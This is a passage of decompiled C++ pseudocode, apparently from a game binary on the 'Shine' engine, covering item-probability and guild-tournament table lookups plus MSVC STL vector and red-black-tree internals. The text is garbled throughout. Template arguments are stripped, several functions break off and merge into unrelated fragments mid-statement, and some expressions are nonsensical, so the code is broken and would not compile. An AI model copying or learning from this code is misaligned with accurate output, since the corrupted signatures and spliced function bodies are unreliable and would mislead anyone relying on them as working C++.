( v4 ) { case 0: v6 -= *((_BYTE *)v8 + 1); break; case 1: v6 -= *((_BYTE *)v8 + 3); break; case 2: v6 -= *((_BYTE *)v8 + 5); break; case 3: v6 -= *((_BYTE *)v8 + 2); break; case 4: v6 -= *((_BYTE *)v8 + 4); break; case 5: v6 -= *((_BYTE *)v8 + 6); break; default: AssertClass::ac_AssertFail( &shineassert, "GTIGetRateTable::GetItemIDbyProbabilityCalculate Not Find enum : ", v4); break; } if ( v6 <= 0 ) return *v9; ++v5; } AssertClass::ac_AssertFail(&shineassert, "GTIGetRateTable::GetItemIDbyProbabilityCalculate Probability error : ", v6); return 0; } // 131DB468: using guessed type int ITableBase_GTIGetRate_GTIGetRateTable___ms_pkTable; // 14BA1834: using guessed type int GTIGetRateTable__AllProbability[]; //----- (0058E5E0) -------------------------------------------------------- bool __thiscall GTIGetRateTable::DataProcess(GTIGetRateTable *this) { unsigned int i; // esi@1 int v2; // eax@2 void *v3; // eax@4 GTIGetRateTable::AllProbability[0] = 0; dword_14BA1838 = 0; dword_14BA183C = 0; dword_14BA1840 = 0; dword_14BA1844 = 0; dword_14BA1848 = 0; for ( i = 0; ; ++i ) { v2 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( !v2 ) break; if ( i >= *(_DWORD *)(v2 + 40) ) break; v3 = CDataReader::GetRecord((CDataReader *)(ITableBase::ms_pkTable + 4), i); GTIGetRateTable::AllProbability[0] += *((_BYTE *)v3 + 1); dword_14BA1838 += *((_BYTE *)v3 + 3); dword_14BA183C += *((_BYTE *)v3 + 5); dword_14BA1840 += *((_BYTE *)v3 + 2); dword_14BA1844 += *((_BYTE *)v3 + 4); dword_14BA1848 += *((_BYTE *)v3 + 6); } return 1; } // 131DB468: using guessed type int ITableBase_GTIGetRate_GTIGetRateTable___ms_pkTable; // 14BA1834: using guessed type int GTIGetRateTable__AllProbability[]; // 14BA1838: using guessed type int dword_14BA1838; // 14BA183C: using guessed type int dword_14BA183C; // 14BA1840: using guessed type int dword_14BA1840; // 14BA1844: using guessed type int dword_14BA1844; // 14BA1848: using guessed type int dword_14BA1848; //----- (0058E6B0) -------------------------------------------------------- GTIBreedSubject *__cdecl GTIBreedSubjectTable::GetByIndexName(const char *pkIndexName) { unsigned int i; // ebp@1 int v2; // eax@2 void *v3; // edi@4 for ( i = 0; ; ++i ) { v2 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( !v2 ) break; if ( i >= *(_DWORD *)(v2 + 40) ) break; v3 = CDataReader::GetRecord((CDataReader *)(ITableBase::ms_pkTable + 4), i); if ( !strcmp(pkIndexName, (const char *)v3) ) return (GTIBreedSubject *)v3; } return 0; } // 131DB46C: using guessed type int ITableBase_GTIBreedSubject_GTIBreedSubjectTable___ms_pkTable; //----- (0058E720) -------------------------------------------------------- std::_Tree_nod >,std::less,std::allocator > *__thiscall std::_Tree>_std::less_std::allocator>>>_0>>::_Buynode(std::_Tree >,std::less,std::allocator > > > *this) { std::_Tree_nod >,std::less,std::allocator > *result; // eax@1 result = (std::_Tree_nod >,std::less,std::allocator > *)operator new(0x24u); if ( result ) *(_DWORD *)&result->baseclass_0.comp.baseclass_0.dummy[0] = 0; if ( result != (std::_Tree_nod >,std::less,std::allocator > *)-4 ) *(_DWORD *)&result[2].baseclass_0.comp.baseclass_0.dummy[0] = 0; if ( result != (std::_Tree_nod >,std::less,std::allocator > *)-8 ) *(_DWORD *)&result[4].baseclass_0.comp.baseclass_0.dummy[0] = 0; result[16].baseclass_0.comp.baseclass_0.dummy[0] = 1; result[16]._Alnod.baseclass_0.dummy[0] = 0; return result; } //----- (0058E760) -------------------------------------------------------- void __thiscall std::_Tree_nod>_std::less_std::allocator>>>_0>>::_Node::__Node(std::_Tree_nod >,std::less,std::allocator >,std::less,std::allocator_Myval.second._Myfirst ) operator delete(this->_Myval.second._Myfirst); v1->_Myval.second._Myfirst = 0; v1->_Myval.second._Mylast = 0; v1->_Myval.second._Myend = 0; } //----- (0058E790) -------------------------------------------------------- void __thiscall std::vector>::_Xran(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid vector subscript", 0x1Bu); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } // 58E790: inconsistent function type and number of purged bytes // 689C04: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (0058E800) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (0058E870) -------------------------------------------------------- void __cdecl Table::SetTableDir(const char *pkDir) { std::basic_string_std::allocator>::assign(&strDirPath, pkDir, strlen(pkDir)); } //----- (0058E8A0) -------------------------------------------------------- std::basic_string,std::allocator > *__cdecl GuildTournamentMasterBuffTable::GetMasterBuff(std::basic_string,std::allocator > *result, int nType) { unsigned int i; // esi@1 int v3; // eax@2 void *v4; // eax@4 const char *v5; // ecx@6 int v6; // eax@6 int v7; // edi@6 char v8; // dl@7 std::basic_string,std::allocator > *v9; // eax@8 for ( i = 0; ; ++i ) { v3 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( !v3 || i >= *(_DWORD *)(v3 + 40) ) { v9 = result; result->_Mysize = 0; result->_Myres = 15; result->_Bx._Buf[0] = 0; return v9; } v4 = CDataReader::GetRecord( (CDataReader *)(ITableBase::ms_pkTable + 4), i); if ( *(_WORD *)v4 == nType ) break; } v5 = (char *)v4 + 2; v6 = (int)((char *)v4 + 2); result->_Myres = 15; result->_Mysize = 0; result->_Bx._Buf[0] = 0; v7 = v6 + 1; do v8 = *(_BYTE *)v6++; while ( v8 ); std::basic_string_std::allocator>::assign(result, v5, v6 - v7); return result; } // 131DB464: using guessed type int ITableBase_GUILD_TOURNAMENT_MASTERBUFF_GuildTournamentMasterBuffTable___ms_pkTable; //----- (0058E920) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, GUILD_TOURNAMENT_LVGAP *const *_Val) { std::vector > *v4; // esi@1 GUILD_TOURNAMENT_LVGAP **v5; // edx@1 signed int v6; // eax@2 unsigned int v7; // edi@4 signed int v8; // ecx@6 int v9; // ecx@11 int v10; // eax@15 int v11; // ecx@18 int v12; // eax@22 void *v13; // eax@25 unsigned int v14; // ebp@25 int v15; // eax@25 #593 **v16; // eax@25 GUILD_TOURNAMENT_LVGAP **v17; // eax@25 int v18; // ecx@26 int v19; // edi@28 int v20; // ebp@31 std::vector >::iterator v21; // ebx@31 int v22; // edx@31 unsigned int v23; // eax@31 int v24; // ecx@32 #593 **v25; // edi@33 void *_Newvec; // [sp+0h] [bp-4h]@25 unsigned int _Wherea; // [sp+8h] [bp+4h]@31 int _Counta; // [sp+Ch] [bp+8h]@25 v4 = this; v5 = this->_Myfirst; _Val = (GUILD_TOURNAMENT_LVGAP *const *)*_Val; if ( v5 ) v6 = this->_Myend - v5; else v6 = 0; v7 = _Count; if ( _Count ) { if ( v5 ) v8 = this->_Mylast - v5; else v8 = 0; if ( 1073741823 - v8 < _Count ) std::vector>::_Xlen(v4); if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( v6 >= _Count + v9 ) { v20 = (int)v4->_Mylast; v21 = _Where; v22 = (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2; v23 = 4 * _Count; _Wherea = 4 * _Count; if ( v22 >= _Count ) { v25 = (#593 **)(v20 - v23); v4->_Mylast = (GUILD_TOURNAMENT_LVGAP **)std::vector>::_Ucopy( (char *)(v20 - v23), v20, (char *)v20); std::copy_backward( *(#593 ***)&v21, v25, (#593 **)v20); std::fill( *(std::list,std::allocator > >::iterator **)&v21, (std::list,std::allocator > >::iterator *)(*(_DWORD *)&v21 + _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } else { std::vector>::_Ucopy( *(char **)&v21, v20, (char *)(*(_DWORD *)&v21 + v23)); std::vector>::_Ufill( (std::vector > *)v4, (#593 **)v4->_Mylast, _Count - ((signed int)((char *)v4->_Mylast - *(_DWORD *)&v21) >> 2)); v24 = (int)&v4->_Mylast[_Wherea / 4]; v4->_Mylast = (GUILD_TOURNAMENT_LVGAP **)v24; std::fill( *(std::list,std::allocator > >::iterator **)&v21, (std::list,std::allocator > >::iterator *)(v24 - _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } } else { if ( 1073741823 - ((unsigned int)v6 >> 1) >= v6 ) v10 = ((unsigned int)v6 >> 1) + v6; else v10 = 0; if ( v5 ) v11 = v4->_Mylast - v5; else v11 = 0; if ( v10 < _Count + v11 ) { if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; v10 = _Count + v12; } _Counta = 4 * v10; v13 = operator new(4 * v10); v14 = 4 * ((signed int)(*(_DWORD *)&_Where - (unsigned int)v4->_Myfirst) >> 2); _Newvec = v13; memmove((char *)v13, (char *)v4->_Myfirst, v14); v16 = std::vector>::_Ufill( (std::vector > *)v4, (#593 **)(v14 + v15), v7); memmove((char *)v16, *(char **)&_Where, 4 * ((signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2)); v17 = v4->_Myfirst; if ( v17 ) v18 = v4->_Mylast - v17; else v18 = 0; v19 = v18 + v7; if ( v17 ) operator delete(v4->_Myfirst); v4->_Myend = (GUILD_TOURNAMENT_LVGAP **)((char *)_Newvec + _Counta); v4->_Mylast = (GUILD_TOURNAMENT_LVGAP **)((char *)_Newvec + 4 * v19); v4->_Myfirst = (GUILD_TOURNAMENT_LVGAP **)_Newvec; } } } //----- (0058EB00) -------------------------------------------------------- void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right) { std::vector > *v2; // esi@1 GUILD_TOURNAMENT_LVGAP **v3; // ecx@1 signed int v4; // eax@2 int v5; // edi@7 void *v6; // eax@7 GUILD_TOURNAMENT_LVGAP **v7; // ecx@7 GUILD_TOURNAMENT_LVGAP **v8; // ST00_4@7 int v9; // [sp+0h] [bp-20h]@1 std::vector > *v10; // [sp+Ch] [bp-14h]@1 int *v11; // [sp+10h] [bp-10h]@1 int v12; // [sp+1Ch] [bp-4h]@7 v2 = this; v3 = _Right->_Myfirst; v11 = &v9; v10 = v2; if ( v3 ) v4 = _Right->_Mylast - v3; else v4 = 0; v2->_Myfirst = 0; v2->_Mylast = 0; v2->_Myend = 0; if ( v4 ) { if ( (unsigned int)v4 > 0x3FFFFFFF ) std::vector>::_Xlen(v2); v5 = 4 * v4; v6 = operator new(4 * v4); v2->_Myfirst = (GUILD_TOURNAMENT_LVGAP **)v6; v2->_Mylast = (GUILD_TOURNAMENT_LVGAP **)v6; v2->_Myend = (GUILD_TOURNAMENT_LVGAP **)((char *)v6 + v5); v7 = _Right->_Mylast; v8 = _Right->_Myfirst; v12 = 0; v2->_Mylast = (GUILD_TOURNAMENT_LVGAP **)std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( (std::list,std::allocator > >::iterator *)v8, (std::list,std::allocator > >::iterator *)v7, (std::list,std::allocator > >::iterator *)v6, (std::allocator,std::allocator > >::iterator> *)v2, (std::_Nonscalar_ptr_iterator_tag)_Right); } } //----- (0058EBA6) -------------------------------------------------------- void __usercall _L78560(int a1) { std::vector>::_vector>(*(std::vector,std::allocator > >::iterator,std::allocator,std::allocator>_std::less_std::allocator>>>_0>>::erase(...) { std::_Tree >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator > *v10; // eax@18 int v11; // ebx@21 int v12; // eax@30 int v13; // eax@32 char v14; // al@35 std::_Tree >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator,std::allocator > thisa; // [sp+Ch] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+28h] [bp-34h]@2 int v23; // [sp+58h] [bp-4h]@2 v3 = this; v20 = this; if ( *(_BYTE *)(_Where + 33) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid map/set iterator", 0x1Bu); v23 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } v4 = _Where; std::_Tree>_std::less_std::allocator>>>_0>>::const_iterator::_Inc(&_Where); if ( *(_BYTE *)(*(_DWORD *)v4 + 33) ) { v5 = *(_DWORD *)(v4 + 8); LABEL_9: v7 = *(_DWORD *)(v4 + 4); if ( !*(_BYTE *)(v5 + 33) ) *(_DWORD *)(v5 + 4) = v7; v8 = *((_DWORD *)v3 + 1); if ( *(_DWORD *)(v8 + 4) == v4 ) { *(_DWORD *)(v8 + 4) = v5; } else { if ( *(_DWORD *)v7 == v4 ) *(_DWORD *)v7 = v5; else *(_DWORD *)(v7 + 8) = v5; } v9 = *((_DWORD *)v3 + 1); if ( *(_DWORD *)v9 == v4 ) { if ( *(_BYTE *)(v5 + 33) ) v10 = (std::_Tree_nod >,std::less,std::allocator > *)v7; else v10 = std::_Tree>_std::less_std::allocator>>>_0>>::_Min((std::_Tree_nod >,std::less,std::allocator > *)v5); *(_DWORD *)v9 = v10; } v11 = *((_DWORD *)v20 + 1); if ( *(_DWORD *)(v11 + 8) == v4 ) { if ( *(_BYTE *)(v5 + 33) ) *(_DWORD *)(v11 + 8) = v7; else *(_DWORD *)(v11 + 8) = std::_Tree>_std::less_std::allocator>>>_0>>::_Max((std::_Tree_nod >,std::less,std::allocator > *)v5); } goto LABEL_36; } if ( *(_BYTE *)(*(_DWORD *)(v4 + 8) + 33) ) { v5 = *(_DWORD *)v4; goto LABEL_9; } v6 = _Where; v5 = *(_DWORD *)(_Where + 8); if ( _Where == v4 ) goto LABEL_9; *(_DWORD *)(*(_DWORD *)v4 + 4) = _Where; *(_DWORD *)v6 = *(_DWORD *)v4; if ( v6 == *(_DWORD *)(v4 + 8) ) { v7 = v6; } else { v7 = *(_DWORD *)(v6 + 4); if ( !*(_BYTE *)(v5 + 33) ) *(_DWORD *)(v5 + 4) = v7; *(_DWORD *)v7 = v5; *(_DWORD *)(v6 + 8) = *(_DWORD *)(v4 + 8); *(_DWORD *)(*(_DWORD *)(v4 + 8) + 4) = v6; } v12 = *((_DWORD *)v3 + 1); if ( *(_DWORD *)(v12 + 4) == v4 ) { *(_DWORD *)(v12 + 4) = v6; } else { v13 = *(_DWORD *)(v4 + 4); if ( *(_DWORD *)v13 == v4 ) *(_DWORD *)v13 = v6; else *(_DWORD *)(v13 + 8) = v6; } *(_DWORD *)(v6 + 4) = *(_DWORD *)(v4 + 4); v14 = *(_BYTE *)(v6 + 32); *(_BYTE *)(v6 + 32) = *(_BYTE *)(v4 + 32); *(_BYTE *)(v4 + 32) = v14; LABEL_36: if ( *(_BYTE *)(v4 + 32) == 1 ) { v15 = v20; if ( v5 != *(_DWORD *)(*((_DWORD *)v20 + 1) + 4) ) { do { if ( *(_BYTE *)(v5 + 32) != 1 ) break; v16 = *(_DWORD *)v7; if ( v5 == *(_DWORD *)v7 ) { v16 = *(_DWORD *)(v7 + 8); if ( !*(_BYTE *)(v16 + 32) ) { *(_BYTE *)(v16 + 32) = 1; *(_BYTE *)(v7 + 32) = 0; std::_Tree>_std::less_std::allocator>>>_0>>::_Lrotate( v15, (std::_Tree_nod >,std::less,std::allocator > *)v7); v16 = *(_DWORD *)(v7 + 8); v15 = v20; } if ( *(_BYTE *)(v16 + 33) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)v16 + 32) != 1 || *(_BYTE *)(*(_DWORD *)(v16 + 8) + 32) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)(v16 + 8) + 32) == 1 ) { *(_BYTE *)(*(_DWORD *)v16 + 32) = 1; *(_BYTE *)(v16 + 32) = 0; std::_Tree>_std::less_std::allocator>>>_0>>::_Rrotate( v15, (std::_Tree_nod >,std::less,std::allocator > *)v16); v16 = *(_DWORD *)(v7 + 8); v15 = v20; } *(_BYTE *)(v16 + 32) = *(_BYTE *)(v7 + 32); *(_BYTE *)(v7 + 32) = 1; *(_BYTE *)(*(_DWORD *)(v16 + 8) + 32) = 1; std::_Tree>_std::less_std::allocator>>>_0>>::_Lrotate( v15, (std::_Tree_nod >,std::less,std::allocator > *)v7); break; } } else { if ( !*(_BYTE *)(v16 + 32) ) { *(_BYTE *)(v16 + 32) = 1; *(_BYTE *)(v7 + 32) = 0; std::_Tree>_std::less_std::allocator>>>_0>>::_Rrotate( v15, (std::_Tree_nod >,std::less,std::allocator > *)v7); v16 = *(_DWORD *)v7; v15 = v20; } if ( *(_BYTE *)(v16 + 33) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)(v16 + 8) + 32) != 1 || *(_BYTE *)(*(_DWORD *)v16 + 32) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)v16 + 32) == 1 ) { *(_BYTE *)(*(_DWORD *)(v16 + 8) + 32) = 1; *(_BYTE *)(v16 + 32) = 0; std::_Tree>_std::less_std::allocator>>>_0>>::_Lrotate( v15, (std::_Tree_nod >,std::less,std::allocator > *)v16); v16 = *(_DWORD *)v7; v15 = v20; } *(_BYTE *)(v16 + 32) = *(_BYTE *)(v7 + 32); *(_BYTE *)(v7 + 32) = 1; *(_BYTE *)(*(_DWORD *)v16 + 32) = 1; std::_Tree>_std::less_std::allocator>>>_0>>::_Rrotate( v15, (std::_Tree_nod >,std::less,std::allocator > *)v7); break; } } *(_BYTE *)(v16 + 32) = 0; LABEL_54: v5 = v7; v17 = v7 == *(_DWORD *)(*((_DWORD *)v15 + 1) + 4); v7 = *(_DWORD *)(v7 + 4); } while ( !v17 ); } *(_BYTE *)(v5 + 32) = 1; } if ( *(_DWORD *)(v4 + 20) ) operator delete(*(void **)(v4 + 20)); *(_DWORD *)(v4 + 20) = 0; *(_DWORD *)(v4 + 24) = 0; *(_DWORD *)(v4 + 28) = 0; operator delete((void *)v4); v18 = *((_DWORD *)v20 + 2); if ( v18 > 0 ) *((_DWORD *)v20 + 2) = v18 - 1; v19 = result; *result = _Where; return v19; } // 689C04: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (0058EEA0) -------------------------------------------------------- void __thiscall std::_Tree>_std::less_std::allocator>>>_0>>::_Erase(std::_Tree >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator_Isnil; v2 = i ) { std::_Tree>_std::less_std::allocator>>>_0>>::_Erase( v3, i->_Right); i = i->_Left; std::_Tree_nod>_std::less_std::allocator>>>_0>>::_Node::__Node(v2); operator delete(v2); } } //----- (0058EEE0) -------------------------------------------------------- int std::_Tree>_std::less_std::allocator>>>_0>>::_Buynode(...) { void *v6; // eax@1 void *v7; // esi@1 int v9; // [sp+0h] [bp-24h]@1 void *v10; // [sp+Ch] [bp-18h]@1 void *_Wherenode; // [sp+10h] [bp-14h]@1 int *v12; // [sp+14h] [bp-10h]@1 int v13; // [sp+20h] [bp-4h]@1 v12 = &v9; v6 = operator new(0x24u); v7 = v6; _Wherenode = v6; v13 = 0; v10 = v6; LOBYTE(v13) = 1; if ( v6 ) { *(_DWORD *)v6 = _Larg; *((_DWORD *)v6 + 1) = _Parg; *((_DWORD *)v6 + 2) = _Rarg; *((_DWORD *)v6 + 3) = _Val->first; std::vector>::vector>( (std::vector > *)v6 + 1, &_Val->second); *((_BYTE *)v7 + 32) = _Carg; *((_BYTE *)v7 + 33) = 0; } return (std::_Tree_nod >,std::less,std::allocator>_std::less_std::allocator>>>_0>>::erase(...) { std::_Tree >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator>_std::less_std::allocator>>>_0>>::erase( v6, &_First, v10); } while ( v5 != v4 ); } v9 = result; *result = v5; } else { std::_Tree>_std::less_std::allocator>>>_0>>::_Erase( this, *(std::_Tree_nod >,std::less,std::allocator>_std::less_std::allocator>>>_0>>::_Insert(...) { std::_Tree >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator > *v11; // esi@11 int v12; // ecx@12 int v13; // ebp@12 int v14; // edx@12 std::_Tree >,std::less,std::allocator,std::allocator > thisa; // [sp+8h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+24h] [bp-34h]@2 int v18; // [sp+54h] [bp-4h]@2 std::_Tree >,std::less,std::allocator= (unsigned int)((char *)&ddt.ddt_Table[2021][1471].distance + 3) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "map/set too long", 0x13u); v18 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } v6 = (std::_Tree >,std::less,std::allocator>_std::less_std::allocator>>>_0>>::_Buynode(this, *((std::_Tree_nod >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator_Left = (std::_Tree_nod >,std::less,std::allocator >,std::less,std::allocator_Right = (std::_Tree_nod >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator > *)v6; if ( !*(_BYTE *)(*(_DWORD *)(v6 + 4) + 32) ) { while ( 1 ) { v12 = *(_DWORD *)v10; v13 = *(_DWORD *)(*(_DWORD *)v10 + 4); v14 = *(_DWORD *)v13; if ( *(_DWORD *)v10 == *(_DWORD *)v13 ) { v14 = *(_DWORD *)(v13 + 8); if ( *(_BYTE *)(v14 + 32) ) { if ( v11 == *(std::_Tree_nod >,std::less,std::allocator > **)(v12 + 8) ) { v11 = *(std::_Tree_nod >,std::less,std::allocator > **)v10; std::_Tree>_std::less_std::allocator>>>_0>>::_Lrotate( v5, *(std::_Tree_nod >,std::less,std::allocator > **)v10); } *(_BYTE *)(*(_DWORD *)&v11[2].baseclass_0.comp.baseclass_0.dummy[0] + 32) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)&v11[2].baseclass_0.comp.baseclass_0.dummy[0] + 4) + 32) = 0; std::_Tree>_std::less_std::allocator>>>_0>>::_Rrotate( v5, *(std::_Tree_nod >,std::less,std::allocator > **)(*(_DWORD *)&v11[2].baseclass_0.comp.baseclass_0.dummy[0] + 4)); goto LABEL_22; } } else { if ( *(_BYTE *)(v14 + 32) ) { if ( v11 == *(std::_Tree_nod >,std::less,std::allocator > **)v12 ) { v11 = *(std::_Tree_nod >,std::less,std::allocator > **)v10; std::_Tree>_std::less_std::allocator>>>_0>>::_Rrotate( v5, *(std::_Tree_nod >,std::less,std::allocator > **)v10); } *(_BYTE *)(*(_DWORD *)&v11[2].baseclass_0.comp.baseclass_0.dummy[0] + 32) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)&v11[2].baseclass_0.comp.baseclass_0.dummy[0] + 4) + 32) = 0; std::_Tree>_std::less_std::allocator>>>_0>>::_Lrotate( v5, *(std::_Tree_nod >,std::less,std::allocator > **)(*(_DWORD *)&v11[2].baseclass_0.comp.baseclass_0.dummy[0] + 4)); goto LABEL_22; } } *(_BYTE *)(*(_DWORD *)v10 + 32) = 1; *(_BYTE *)(v14 + 32) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)v10 + 4) + 32) = 0; v11 = *(std::_Tree_nod >,std::less,std::allocator > **)(*(_DWORD *)v10 + 4); LABEL_22: v10 = (int)&v11[2]; if ( *(_BYTE *)(*(_DWORD *)&v11[2].baseclass_0.comp.baseclass_0.dummy[0] + 32) ) { v6 = _Vala; break; } } } v15 = result; *(_BYTE *)(*(_DWORD *)(*((_DWORD *)v5 + 1) + 4) + 32) = 1; *result = v6; return v15; } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (0058F1F0) -------------------------------------------------------- int std::_Tree>_std::less_std::allocator>>>_0>>::insert(...) { std::pair > > *v3; // ebp@1 std::_Tree >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocatorfirst; do { v7 = v8 < *(_DWORD *)(v6 + 12); v5 = v6; _Addleft = v8 < *(_DWORD *)(v6 + 12); if ( v8 >= *(_DWORD *)(v6 + 12) ) v6 = *(_DWORD *)(v6 + 8); else v6 = *(_DWORD *)v6; } while ( !*(_BYTE *)(v6 + 33) ); } v9 = v5; _Val = (std::pair > > *)v5; if ( v7 ) { if ( v5 == **((_DWORD **)v4 + 1) ) { v10 = *std::_Tree>_std::less_std::allocator>>>_0>>::_Insert( v4, (std::_Tree >,std::less,std::allocator >,std::less,std::allocatorsecond = 1; result->first = v10; return v11; } std::_Tree>_std::less_std::allocator>>>_0>>::const_iterator::_Dec((std::_Tree >,std::less,std::allocator > > > *)&_Val); v9 = (std::_Tree >,std::less,std::allocator= v3->first ) { v11 = result; result->second = 0; result->first = v9; } else { v12 = *std::_Tree>_std::less_std::allocator>>>_0>>::_Insert( v4, (std::_Tree >,std::less,std::allocator >,std::less,std::allocatorfirst = v12; result->second = 1; } return v11; } //----- (0058F2B0) -------------------------------------------------------- int std::_Tree>_std::less_std::allocator>>>_0>>::insert(...) { std::_Tree >,std::less,std::allocator >,std::less,std::allocator > > *v7; // esi@3 int v8; // eax@7 const int v9; // ebp@9 bool v10; // sf@9 unsigned __int8 v11; // of@9 std::_Tree >,std::less,std::allocator>_std::less_std::allocator>>>_0>>::_Insert( this, result, 1, *((std::_Tree_nod >,std::less,std::allocatorfirst < *(_DWORD *)(_Where + 12) ) { std::_Tree>_std::less_std::allocator>>>_0>>::_Insert( this, result, 1, (std::_Tree_nod >,std::less,std::allocatorfirst ) { std::_Tree>_std::less_std::allocator>>>_0>>::_Insert( this, result, 0, (std::_Tree_nod >,std::less,std::allocatorfirst; v11 = __OFSUB__(*(_DWORD *)(_Where + 12), _Val->first); v10 = *(_DWORD *)(_Where + 12) - _Val->first < 0; if ( *(_DWORD *)(_Where + 12) > _Val->first ) { _Val = (std::pair > > *)_Where; std::_Tree>_std::less_std::allocator>>>_0>>::const_iterator::_Dec((std::_Tree >,std::less,std::allocator > > > *)&_Val); if ( (signed int)_Val->second._Mylast < v9 ) { if ( *((_BYTE *)_Val->second._Myfirst + 33) ) { std::_Tree>_std::less_std::allocator>>>_0>>::_Insert( v4, result, 0, (std::_Tree_nod >,std::less,std::allocator>_std::less_std::allocator>>>_0>>::_Insert( v4, result, 1, (std::_Tree_nod >,std::less,std::allocator > > *)_Where, std::_Tree>_std::less_std::allocator>>>_0>>::const_iterator::_Inc((std::_Tree >,std::less,std::allocator > > > *)&_Val), _Val != *((std::pair > > **)v4 + 1)) && v9 >= (signed int)_Val->second._Mylast ) { LABEL_21: v12 = std::_Tree>_std::less_std::allocator>>>_0>>::insert( v4, (std::pair >,std::less,std::allocatorfirst; v5 = result; *result = v12; return v5; } if ( *(_BYTE *)(*(_DWORD *)(_Where + 8) + 33) ) { std::_Tree>_std::less_std::allocator>>>_0>>::_Insert( v4, result, 0, (std::_Tree_nod >,std::less,std::allocator>_std::less_std::allocator>>>_0>>::_Insert( v4, result, 1, (std::_Tree_nod >,std::less,std::allocator>_std::less_std::allocator>>>>::_map>_std::less_std::allocator>>>>(std::map >,std::less,std::allocator > > > > *this) { std::map >,std::less,std::allocator > > > > *v1; // esi@1 std::_Tree >,std::less,std::allocator >,std::less,std::allocator>_std::less_std::allocator>>>_0>>::erase( &this->baseclass_0, &result, **(std::_Tree >,std::less,std::allocatorgap4[0], *(std::_Tree >,std::less,std::allocatorgap4[0]); operator delete(*(void **)&v1->gap4[0]); *(_DWORD *)&v1->gap4[0] = 0; *(_DWORD *)&v1->gap4[4] = 0; } //----- (0058F450) -------------------------------------------------------- std::vector > *__thiscall std::map>_std::less_std::allocator>>>>::operator__(std::map >,std::less,std::allocator > > > > *this, const int *_Keyval) { std::map >,std::less,std::allocator > > > > *v2; // edi@1 std::_Tree >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator > _Right; // [sp+Ch] [bp-30h]@8 std::pair > > _Val; // [sp+1Ch] [bp-20h]@8 int v9; // [sp+38h] [bp-4h]@8 v2 = this; v3 = *(_DWORD *)&this->gap4[0]; v4 = *(_DWORD *)(v3 + 4); v5 = v3; while ( !*(_BYTE *)(v4 + 33) ) { if ( *(_DWORD *)(v4 + 12) >= *_Keyval ) { v5 = v4; v4 = *(_DWORD *)v4; } else { v4 = *(_DWORD *)(v4 + 8); } } if ( v5 == *(_DWORD *)&v2->gap4[0] || *_Keyval < *(_DWORD *)(v5 + 12) ) { _Right._Myfirst = 0; _Right._Mylast = 0; _Right._Myend = 0; _Val.first = *_Keyval; v9 = 0; std::vector>::vector>( 